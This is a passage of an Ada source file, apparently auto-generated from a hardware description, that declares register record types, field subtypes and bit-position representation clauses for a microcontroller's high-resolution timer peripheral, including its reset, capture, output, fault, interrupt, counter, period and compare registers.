with Component_Size => 1, Size => 3;
-- Type definition for RSTCR_TIMECMP
type RSTCR_TIMECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMECMP as a value
Val : HAL.UInt3;
when True =>
-- TIMECMP as an array
Arr : RSTCR_TIMECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTCR_TIMECMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- TimerA Reset Register
type RSTCR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Timer A Update reset
UPDT : Boolean := False;
-- Timer A compare 2 reset
CMP : RSTCR_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master timer Period
MSTPER : Boolean := False;
-- Master compare 1
MSTCMP : RSTCR_MSTCMP_Field :=
(As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : RSTCR_EXTEVNT_Field :=
(As_Array => False, Val => 16#0#);
-- Timer A Compare 1
TIMACMP : RSTCR_TIMACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B Compare 1
TIMBCMP : RSTCR_TIMBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D Compare 1
TIMDCMP : RSTCR_TIMDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E Compare 1
TIMECMP : RSTCR_TIMECMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTCR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
UPDT at 0 range 1 .. 1;
CMP at 0 range 2 .. 3;
MSTPER at 0 range 4 .. 4;
MSTCMP at 0 range 5 .. 8;
EXTEVNT at 0 range 9 .. 18;
TIMACMP at 0 range 19 .. 21;
TIMBCMP at 0 range 22 .. 24;
TIMDCMP at 0 range 25 .. 27;
TIMECMP at 0 range 28 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CHPCR_CHPFRQ_Field is HAL.UInt4;
subtype CHPCR_CHPDTY_Field is HAL.UInt3;
subtype CHPCR_STRTPW_Field is HAL.UInt4;
-- Timerx Chopper Register
type CHPCR_Register is record
-- Timerx carrier frequency value
CHPFRQ : CHPCR_CHPFRQ_Field := 16#0#;
-- Timerx chopper duty cycle value
CHPDTY : CHPCR_CHPDTY_Field := 16#0#;
-- STRTPW
STRTPW : CHPCR_STRTPW_Field := 16#0#;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CHPCR_Register use record
CHPFRQ at 0 range 0 .. 3;
CHPDTY at 0 range 4 .. 6;
STRTPW at 0 range 7 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
-- CPT1CCR_TACMP array
type CPT1CCR_TACMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1CCR_TACMP
type CPT1CCR_TACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TACMP as a value
Val : HAL.UInt2;
when True =>
-- TACMP as an array
Arr : CPT1CCR_TACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1CCR_TACMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1CCR_TBCMP array
type CPT1CCR_TBCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1CCR_TBCMP
type CPT1CCR_TBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TBCMP as a value
Val : HAL.UInt2;
when True =>
-- TBCMP as an array
Arr : CPT1CCR_TBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1CCR_TBCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1CCR_TDCMP array
type CPT1CCR_TDCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1CCR_TDCMP
type CPT1CCR_TDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TDCMP as a value
Val : HAL.UInt2;
when True =>
-- TDCMP as an array
Arr : CPT1CCR_TDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1CCR_TDCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT1CCR_TECMP array
type CPT1CCR_TECMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT1CCR_TECMP
type CPT1CCR_TECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TECMP as a value
Val : HAL.UInt2;
when True =>
-- TECMP as an array
Arr : CPT1CCR_TECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT1CCR_TECMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Capture 2 Control Register
type CPT1CCR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
EXEV10CPT : Boolean := False;
-- Timer A output 1 Set
TA1SET : Boolean := False;
-- Timer A output 1 Reset
TA1RST : Boolean := False;
-- Timer A Compare 1
TACMP : CPT1CCR_TACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B output 1 Set
TB1SET : Boolean := False;
-- Timer B output 1 Reset
TB1RST : Boolean := False;
-- Timer B Compare 1
TBCMP : CPT1CCR_TBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_20_23 : HAL.UInt4 := 16#0#;
-- Timer D output 1 Set
TD1SET : Boolean := False;
-- Timer D output 1 Reset
TD1RST : Boolean := False;
-- Timer D Compare 1
TDCMP : CPT1CCR_TDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E output 1 Set
TE1SET : Boolean := False;
-- Timer E output 1 Reset
TE1RST : Boolean := False;
-- Timer E Compare 1
TECMP : CPT1CCR_TECMP_Field :=
(As_Array => False, Val => 16#0#);
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1CCR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
TA1SET at 0 range 12 .. 12;
TA1RST at 0 range 13 .. 13;
TACMP at 0 range 14 .. 15;
TB1SET at 0 range 16 .. 16;
TB1RST at 0 range 17 .. 17;
TBCMP at 0 range 18 .. 19;
Reserved_20_23 at 0 range 20 .. 23;
TD1SET at 0 range 24 .. 24;
TD1RST at 0 range 25 .. 25;
TDCMP at 0 range 26 .. 27;
TE1SET at 0 range 28 .. 28;
TE1RST at 0 range 29 .. 29;
TECMP at 0 range 30 .. 31;
end record;
-- CPT2CCR_TACMP array
type CPT2CCR_TACMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2CCR_TACMP
type CPT2CCR_TACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TACMP as a value
Val : HAL.UInt2;
when True =>
-- TACMP as an array
Arr : CPT2CCR_TACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2CCR_TACMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2CCR_TBCMP array
type CPT2CCR_TBCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2CCR_TBCMP
type CPT2CCR_TBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TBCMP as a value
Val : HAL.UInt2;
when True =>
-- TBCMP as an array
Arr : CPT2CCR_TBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2CCR_TBCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2CCR_TDCMP array
type CPT2CCR_TDCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2CCR_TDCMP
type CPT2CCR_TDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TDCMP as a value
Val : HAL.UInt2;
when True =>
-- TDCMP as an array
Arr : CPT2CCR_TDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2CCR_TDCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2CCR_TECMP array
type CPT2CCR_TECMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for CPT2CCR_TECMP
type CPT2CCR_TECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TECMP as a value
Val : HAL.UInt2;
when True =>
-- TECMP as an array
Arr : CPT2CCR_TECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for CPT2CCR_TECMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- CPT2xCR
type CPT2CCR_Register is record
-- Software Capture
SWCPT : Boolean := False;
-- Update Capture
UDPCPT : Boolean := False;
-- External Event 1 Capture
EXEV1CPT : Boolean := False;
-- External Event 2 Capture
EXEV2CPT : Boolean := False;
-- External Event 3 Capture
EXEV3CPT : Boolean := False;
-- External Event 4 Capture
EXEV4CPT : Boolean := False;
-- External Event 5 Capture
EXEV5CPT : Boolean := False;
-- External Event 6 Capture
EXEV6CPT : Boolean := False;
-- External Event 7 Capture
EXEV7CPT : Boolean := False;
-- External Event 8 Capture
EXEV8CPT : Boolean := False;
-- External Event 9 Capture
EXEV9CPT : Boolean := False;
-- External Event 10 Capture
EXEV10CPT : Boolean := False;
-- Timer A output 1 Set
TA1SET : Boolean := False;
-- Timer A output 1 Reset
TA1RST : Boolean := False;
-- Timer A Compare 1
TACMP : CPT2CCR_TACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B output 1 Set
TB1SET : Boolean := False;
-- Timer B output 1 Reset
TB1RST : Boolean := False;
-- Timer B Compare 1
TBCMP : CPT2CCR_TBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_20_23 : HAL.UInt4 := 16#0#;
-- Timer D output 1 Set
TD1SET : Boolean := False;
-- Timer D output 1 Reset
TD1RST : Boolean := False;
-- Timer D Compare 1
TDCMP : CPT2CCR_TDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer E output 1 Set
TE1SET : Boolean := False;
-- Timer E output 1 Reset
TE1RST : Boolean := False;
-- Timer E Compare 1
TECMP : CPT2CCR_TECMP_Field :=
(As_Array => False, Val => 16#0#);
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2CCR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
TA1SET at 0 range 12 .. 12;
TA1RST at 0 range 13 .. 13;
TACMP at 0 range 14 .. 15;
TB1SET at 0 range 16 .. 16;
TB1RST at 0 range 17 .. 17;
TBCMP at 0 range 18 .. 19;
Reserved_20_23 at 0 range 20 .. 23;
TD1SET at 0 range 24 .. 24;
TD1RST at 0 range 25 .. 25;
TDCMP at 0 range 26 .. 27;
TE1SET at 0 range 28 .. 28;
TE1RST at 0 range 29 .. 29;
TECMP at 0 range 30 .. 31;
end record;
subtype OUTCR_FAULT1_Field is HAL.UInt2;
subtype OUTCR_DLYPRT_Field is HAL.UInt3;
subtype OUTCR_FAULT2_Field is HAL.UInt2;
-- Timerx Output Register
type OUTCR_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Output 1 polarity
POL1 : Boolean := False;
-- Output 1 Idle mode
IDLEM1 : Boolean := False;
-- Output 1 Idle State
IDLES1 : Boolean := False;
-- Output 1 Fault state
FAULT1 : OUTCR_FAULT1_Field := 16#0#;
-- Output 1 Chopper enable
CHP1 : Boolean := False;
-- Output 1 Deadtime upon burst mode Idle entry
DIDL1 : Boolean := False;
-- Deadtime enable
DTEN : Boolean := False;
-- Delayed Protection Enable
DLYPRTEN : Boolean := False;
-- Delayed Protection
DLYPRT : OUTCR_DLYPRT_Field := 16#0#;
-- unspecified
Reserved_13_16 : HAL.UInt4 := 16#0#;
-- Output 2 polarity
POL2 : Boolean := False;
-- Output 2 Idle mode
IDLEM2 : Boolean := False;
-- Output 2 Idle State
IDLES2 : Boolean := False;
-- Output 2 Fault state
FAULT2 : OUTCR_FAULT2_Field := 16#0#;
-- Output 2 Chopper enable
CHP2 : Boolean := False;
-- Output 2 Deadtime upon burst mode Idle entry
DIDL2 : Boolean := False;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OUTCR_Register use record
Reserved_0_0 at 0 range 0 .. 0;
POL1 at 0 range 1 .. 1;
IDLEM1 at 0 range 2 .. 2;
IDLES1 at 0 range 3 .. 3;
FAULT1 at 0 range 4 .. 5;
CHP1 at 0 range 6 .. 6;
DIDL1 at 0 range 7 .. 7;
DTEN at 0 range 8 .. 8;
DLYPRTEN at 0 range 9 .. 9;
DLYPRT at 0 range 10 .. 12;
Reserved_13_16 at 0 range 13 .. 16;
POL2 at 0 range 17 .. 17;
IDLEM2 at 0 range 18 .. 18;
IDLES2 at 0 range 19 .. 19;
FAULT2 at 0 range 20 .. 21;
CHP2 at 0 range 22 .. 22;
DIDL2 at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-- Timerx Fault Register
type FLTCR_Register is record
-- Fault 1 enable
FLT1EN : Boolean := False;
-- Fault 2 enable
FLT2EN : Boolean := False;
-- Fault 3 enable
FLT3EN : Boolean := False;
-- Fault 4 enable
FLT4EN : Boolean := False;
-- Fault 5 enable
FLT5EN : Boolean := False;
-- unspecified
Reserved_5_30 : HAL.UInt26 := 16#0#;
-- Fault sources Lock
FLTLCK : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FLTCR_Register use record
FLT1EN at 0 range 0 .. 0;
FLT2EN at 0 range 1 .. 1;
FLT3EN at 0 range 2 .. 2;
FLT4EN at 0 range 3 .. 3;
FLT5EN at 0 range 4 .. 4;
Reserved_5_30 at 0 range 5 .. 30;
FLTLCK at 0 range 31 .. 31;
end record;
subtype TIMDCR_CKPSCx_Field is HAL.UInt3;
-- TIMDCR_DELCMP array element
subtype TIMDCR_DELCMP_Element is HAL.UInt2;
-- TIMDCR_DELCMP array
type TIMDCR_DELCMP_Field_Array is array (2 .. 3) of TIMDCR_DELCMP_Element
with Component_Size => 2, Size => 4;
-- Type definition for TIMDCR_DELCMP
type TIMDCR_DELCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- DELCMP as a value
Val : HAL.UInt4;
when True =>
-- DELCMP as an array
Arr : TIMDCR_DELCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMDCR_DELCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
subtype TIMDCR_DACSYNC_Field is HAL.UInt2;
subtype TIMDCR_UPDGAT_Field is HAL.UInt4;
-- Timerx Control Register
type TIMDCR_Register is record
-- HRTIM Timer x Clock prescaler
CKPSCx : TIMDCR_CKPSCx_Field := 16#0#;
-- Continuous mode
CONT : Boolean := False;
-- Re-triggerable mode
RETRIG : Boolean := False;
-- Half mode enable
HALF : Boolean := False;
-- Push-Pull mode enable
PSHPLL : Boolean := False;
-- unspecified
Reserved_7_9 : HAL.UInt3 := 16#0#;
-- Synchronization Resets Timer x
SYNCRSTx : Boolean := False;
-- Synchronization Starts Timer x
SYNCSTRTx : Boolean := False;
-- Delayed CMP2 mode
DELCMP : TIMDCR_DELCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_16_16 : HAL.Bit := 16#0#;
-- Timer x Repetition update
TxREPU : Boolean := False;
-- Timerx reset update
TxRSTU : Boolean := False;
-- unspecified
Reserved_19_19 : HAL.Bit := 16#0#;
-- TBU
TBU : Boolean := False;
-- TCU
TCU : Boolean := False;
-- TDU
TDU : Boolean := False;
-- TEU
TEU : Boolean := False;
-- Master Timer update
MSTU : Boolean := False;
-- AC Synchronization
DACSYNC : TIMDCR_DACSYNC_Field := 16#0#;
-- Preload enable
PREEN : Boolean := False;
-- Update Gating
UPDGAT : TIMDCR_UPDGAT_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMDCR_Register use record
CKPSCx at 0 range 0 .. 2;
CONT at 0 range 3 .. 3;
RETRIG at 0 range 4 .. 4;
HALF at 0 range 5 .. 5;
PSHPLL at 0 range 6 .. 6;
Reserved_7_9 at 0 range 7 .. 9;
SYNCRSTx at 0 range 10 .. 10;
SYNCSTRTx at 0 range 11 .. 11;
DELCMP at 0 range 12 .. 15;
Reserved_16_16 at 0 range 16 .. 16;
TxREPU at 0 range 17 .. 17;
TxRSTU at 0 range 18 .. 18;
Reserved_19_19 at 0 range 19 .. 19;
TBU at 0 range 20 .. 20;
TCU at 0 range 21 .. 21;
TDU at 0 range 22 .. 22;
TEU at 0 range 23 .. 23;
MSTU at 0 range 24 .. 24;
DACSYNC at 0 range 25 .. 26;
PREEN at 0 range 27 .. 27;
UPDGAT at 0 range 28 .. 31;
end record;
-- TIMDISR_CMP array
type TIMDISR_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for TIMDISR_CMP
type TIMDISR_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : TIMDISR_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for TIMDISR_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- TIMDISR_CPT array
type TIMDISR_CPT_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for TIMDISR_CPT
type TIMDISR_CPT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CPT as a value
Val : HAL.UInt2;
when True =>
-- CPT as an array
Arr : TIMDISR_CPT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for TIMDISR_CPT_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- Timerx Interrupt Status Register
type TIMDISR_Register is record
-- Read-only. Compare 1 Interrupt Flag
CMP : TIMDISR_CMP_Field;
-- Read-only. Repetition Interrupt Flag
REP : Boolean;
-- unspecified
Reserved_5_5 : HAL.Bit;
-- Read-only. Update Interrupt Flag
UPD : Boolean;
-- Read-only. Capture1 Interrupt Flag
CPT : TIMDISR_CPT_Field;
-- Read-only. Output 1 Set Interrupt Flag
SETx1 : Boolean;
-- Read-only. Output 1 Reset Interrupt Flag
RSTx1 : Boolean;
-- Read-only. Output 2 Set Interrupt Flag
SETx2 : Boolean;
-- Read-only. Output 2 Reset Interrupt Flag
RSTx2 : Boolean;
-- Read-only. Reset Interrupt Flag
RST : Boolean;
-- Read-only. Delayed Protection Flag
DLYPRT : Boolean;
-- unspecified
Reserved_15_15 : HAL.Bit;
-- Read-only. Current Push Pull Status
CPPSTAT : Boolean;
-- Read-only. Idle Push Pull Status
IPPSTAT : Boolean;
-- Read-only. Output 1 State
O1STAT : Boolean;
-- Read-only. Output 2 State
O2STAT : Boolean;
-- unspecified
Reserved_20_31 : HAL.UInt12;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMDISR_Register use record
CMP at 0 range 0 .. 3;
REP at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPD at 0 range 6 .. 6;
CPT at 0 range 7 .. 8;
SETx1 at 0 range 9 .. 9;
RSTx1 at 0 range 10 .. 10;
SETx2 at 0 range 11 .. 11;
RSTx2 at 0 range 12 .. 12;
RST at 0 range 13 .. 13;
DLYPRT at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CPPSTAT at 0 range 16 .. 16;
IPPSTAT at 0 range 17 .. 17;
O1STAT at 0 range 18 .. 18;
O2STAT at 0 range 19 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- Timerx Interrupt Clear Register
type TIMDICR_Register is record
-- Write-only. Compare 1 Interrupt flag Clear
CMP1C : Boolean := False;
-- Write-only. Compare 2 Interrupt flag Clear
CMP2C : Boolean := False;
-- Write-only. Compare 3 Interrupt flag Clear
CMP3C : Boolean := False;
-- Write-only. Compare 4 Interrupt flag Clear
CMP4C : Boolean := False;
-- Write-only. Repetition Interrupt flag Clear
REPC : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- Write-only. Update Interrupt flag Clear
UPDC : Boolean := False;
-- Write-only. Capture1 Interrupt flag Clear
CPT1C : Boolean := False;
-- Write-only. Capture2 Interrupt flag Clear
CPT2C : Boolean := False;
-- Write-only. Output 1 Set flag Clear
SET1xC : Boolean := False;
-- Write-only. Output 1 Reset flag Clear
RSTx1C : Boolean := False;
-- Write-only. Output 2 Set flag Clear
SET2xC : Boolean := False;
-- Write-only. Output 2 Reset flag Clear
RSTx2C : Boolean := False;
-- Write-only. Reset Interrupt flag Clear
RSTC : Boolean := False;
-- Write-only. Delayed Protection Flag Clear
DLYPRTC : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMDICR_Register use record
CMP1C at 0 range 0 .. 0;
CMP2C at 0 range 1 .. 1;
CMP3C at 0 range 2 .. 2;
CMP4C at 0 range 3 .. 3;
REPC at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDC at 0 range 6 .. 6;
CPT1C at 0 range 7 .. 7;
CPT2C at 0 range 8 .. 8;
SET1xC at 0 range 9 .. 9;
RSTx1C at 0 range 10 .. 10;
SET2xC at 0 range 11 .. 11;
RSTx2C at 0 range 12 .. 12;
RSTC at 0 range 13 .. 13;
DLYPRTC at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
-- TIMxDIER
type TIMDDIER_Register is record
-- CMP1IE
CMP1IE : Boolean := False;
-- CMP2IE
CMP2IE : Boolean := False;
-- CMP3IE
CMP3IE : Boolean := False;
-- CMP4IE
CMP4IE : Boolean := False;
-- REPIE
REPIE : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- UPDIE
UPDIE : Boolean := False;
-- CPT1IE
CPT1IE : Boolean := False;
-- CPT2IE
CPT2IE : Boolean := False;
-- SET1xIE
SET1xIE : Boolean := False;
-- RSTx1IE
RSTx1IE : Boolean := False;
-- SETx2IE
SETx2IE : Boolean := False;
-- RSTx2IE
RSTx2IE : Boolean := False;
-- RSTIE
RSTIE : Boolean := False;
-- DLYPRTIE
DLYPRTIE : Boolean := False;
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
-- CMP1DE
CMP1DE : Boolean := False;
-- CMP2DE
CMP2DE : Boolean := False;
-- CMP3DE
CMP3DE : Boolean := False;
-- CMP4DE
CMP4DE : Boolean := False;
-- REPDE
REPDE : Boolean := False;
-- unspecified
Reserved_21_21 : HAL.Bit := 16#0#;
-- UPDDE
UPDDE : Boolean := False;
-- CPT1DE
CPT1DE : Boolean := False;
-- CPT2DE
CPT2DE : Boolean := False;
-- SET1xDE
SET1xDE : Boolean := False;
-- RSTx1DE
RSTx1DE : Boolean := False;
-- SETx2DE
SETx2DE : Boolean := False;
-- RSTx2DE
RSTx2DE : Boolean := False;
-- RSTDE
RSTDE : Boolean := False;
-- DLYPRTDE
DLYPRTDE : Boolean := False;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMDDIER_Register use record
CMP1IE at 0 range 0 .. 0;
CMP2IE at 0 range 1 .. 1;
CMP3IE at 0 range 2 .. 2;
CMP4IE at 0 range 3 .. 3;
REPIE at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDIE at 0 range 6 .. 6;
CPT1IE at 0 range 7 .. 7;
CPT2IE at 0 range 8 .. 8;
SET1xIE at 0 range 9 .. 9;
RSTx1IE at 0 range 10 .. 10;
SETx2IE at 0 range 11 .. 11;
RSTx2IE at 0 range 12 .. 12;
RSTIE at 0 range 13 .. 13;
DLYPRTIE at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CMP1DE at 0 range 16 .. 16;
CMP2DE at 0 range 17 .. 17;
CMP3DE at 0 range 18 .. 18;
CMP4DE at 0 range 19 .. 19;
REPDE at 0 range 20 .. 20;
Reserved_21_21 at 0 range 21 .. 21;
UPDDE at 0 range 22 .. 22;
CPT1DE at 0 range 23 .. 23;
CPT2DE at 0 range 24 .. 24;
SET1xDE at 0 range 25 .. 25;
RSTx1DE at 0 range 26 .. 26;
SETx2DE at 0 range 27 .. 27;
RSTx2DE at 0 range 28 .. 28;
RSTDE at 0 range 29 .. 29;
DLYPRTDE at 0 range 30 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CNTDR_CNTx_Field is HAL.UInt16;
-- Timerx Counter Register
type CNTDR_Register is record
-- Timerx Counter value
CNTx : CNTDR_CNTx_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CNTDR_Register use record
CNTx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype PERDR_PERx_Field is HAL.UInt16;
-- Timerx Period Register
type PERDR_Register is record
-- Timerx Period value
PERx : PERDR_PERx_Field := 16#FFFF#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for PERDR_Register use record
PERx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype REPDR_REPx_Field is HAL.UInt8;
-- Timerx Repetition Register
type REPDR_Register is record
-- Timerx Repetition counter value
REPx : REPDR_REPx_Field := 16#0#;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for REPDR_Register use record
REPx at 0 range 0 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
subtype CMP1DR_CMP1x_Field is HAL.UInt16;
-- Timerx Compare 1 Register
type CMP1DR_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1DR_CMP1x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1DR_Register use record
CMP1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP1CDR_CMP1x_Field is HAL.UInt16;
subtype CMP1CDR_REPx_Field is HAL.UInt8;
-- Timerx Compare 1 Compound Register
type CMP1CDR_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1CDR_CMP1x_Field := 16#0#;
-- Timerx Repetition value (aliased from HRTIM_REPx register)
REPx : CMP1CDR_REPx_Field := 16#0#;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1CDR_Register use record
CMP1x at 0 range 0 .. 15;
REPx at 0 range 16 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype CMP2DR_CMP2x_Field is HAL.UInt16;
-- Timerx Compare 2 Register
type CMP2DR_Register is record
-- Timerx Compare 2 value
CMP2x : CMP2DR_CMP2x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP2DR_Register use record
CMP2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
